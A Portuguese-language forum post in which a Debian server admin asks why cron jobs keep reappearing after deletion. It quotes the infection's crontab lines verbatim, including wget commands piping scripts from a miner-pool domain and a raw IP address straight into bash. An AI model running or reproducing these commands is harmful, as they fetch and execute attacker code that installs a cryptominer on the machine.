CRON sendo acionado de forma automática no Linux (sem ser programado)

bogusbahia
(usa Debian)

Enviado em 28/08/2019 - 10:42h

Bom Dia,
Não sei o que está acontecendo com o meu CRON, ele é acionado de forma automática e fica desse jeito:

* * * * * /usr/libs/upd >/dev/null 2>&1
0 1 * * * wget --user-agent linux -q -O - http://eu1.minerpool.pw/linux/update.sh | bash >/dev/null &
0 13 * * * wget --user-agent linux -q -O - http://107.181.187.132/linux/update.sh | bash >/dev/null &

Dou um CRONTAB -E e apago tudo, mas ele volta novamente. Já tentei o CRONTAB -R, mas ele termina voltando.
Seria algum vírus?
Alguma solução? Não gostaria de formatar a máquina, pois é um servidor e seria muito trabalhoso.

Att,,
Sérgio